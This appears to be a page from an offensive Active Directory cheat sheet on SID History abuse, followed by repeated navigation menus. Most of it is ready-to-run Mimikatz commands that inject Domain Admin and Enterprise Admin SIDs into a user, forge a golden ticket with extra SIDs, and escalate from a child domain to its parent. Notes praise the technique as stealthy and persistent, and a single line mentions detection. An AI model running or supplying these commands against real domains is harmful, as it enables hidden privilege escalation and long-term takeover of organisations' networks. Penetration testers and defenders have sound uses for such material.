SID History

Overview

sIDHistory attribute stores previous SIDs from domain migration. If Enterprise/Domain Admin SID injected → user gets those privileges transparently.

Inject SID History — Mimikatz

mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:targetuser /new:S-1-5-21-DOMAIN-SID-500

Add Enterprise Admins SID

mimikatz # sid::add /sam:targetuser /new:S-1-5-21-PARENT-DOMAIN-SID-519

Via Golden Ticket

Include extra SIDs in golden ticket:

mimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:CHILD_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-PARENT-SID-519 /ptt

-519 = Enterprise Admins.

Check SID History

Get-ADUser targetuser -Properties SIDHistory | Select SIDHistory

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(sAMAccountName=targetuser)" sIDHistory

Cross-Domain Abuse

Inject parent domain’s Domain Admins SID into child domain user:

mimikatz # sid::add /sam:childuser /new:S-1-5-21-PARENT-SID-512

Child domain user now has Domain Admin rights in parent domain.

Notes

Survives password changes
Works across domain trusts (if SID filtering not enabled)
Very stealthy — user appears normal
Detection: audit sIDHistory attribute changes
SID filtering blocks this across forest trusts

Quick Reference

Task	Command
Inject SID	`mimikatz # sid::add /sam:user /new:SID`
Via Golden	`/sids:S-1-5-21-PARENT-519` in golden ticket
Check	`Get-ADUser user -Properties SIDHistory`
Enterprise Admin SID	`-519` from parent domain

Enumeration

Attacks

Lateral Movement

Persistence

ADCS

Trust Attacks

BloodHound

Overview

Inject SID History — Mimikatz

Add Enterprise Admins SID

Via Golden Ticket

Check SID History

Cross-Domain Abuse

Notes

Quick Reference

​Overview

​Inject SID History — Mimikatz

​Add Enterprise Admins SID

​Via Golden Ticket

​Check SID History

​Cross-Domain Abuse

​Notes

​Quick Reference

Overview

Inject SID History — Mimikatz

Add Enterprise Admins SID

Via Golden Ticket

Check SID History

Cross-Domain Abuse

Notes

Quick Reference